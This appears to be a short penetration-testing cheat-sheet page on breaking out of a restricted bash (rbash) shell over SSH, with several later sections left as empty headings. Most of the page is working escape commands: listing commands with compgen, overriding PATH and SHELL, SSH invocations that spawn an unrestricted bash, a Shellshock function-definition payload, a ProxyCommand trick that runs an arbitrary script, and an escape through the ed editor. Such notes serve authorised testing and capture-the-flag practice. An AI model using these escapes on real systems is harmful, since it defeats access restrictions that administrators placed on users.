Breaking out of restricted Bash (rbash) CLI in SSH
1) Check available commands within rbash
compgen -c 2) Create PATH to have access to more binaries in the system
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binMore escapes
3) Run SHELL variable as /bin/bash
export SHELL=/bin/bash4) Use SSH program
ssh USER@IP 'bash --noprofile'
ssh USER@IP - t "/bin/sh" or "/bin/bash"
ssh user@IP -t "() { :; }; /bin/bash" (shellshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)5) Ed
ed
!/bin/bash6) Git
7) Tar
8) Zip
9) More resources
PreviousQR Code scanning and generating in Kali LinuxNextSearch for patterns within compressed files
Last updated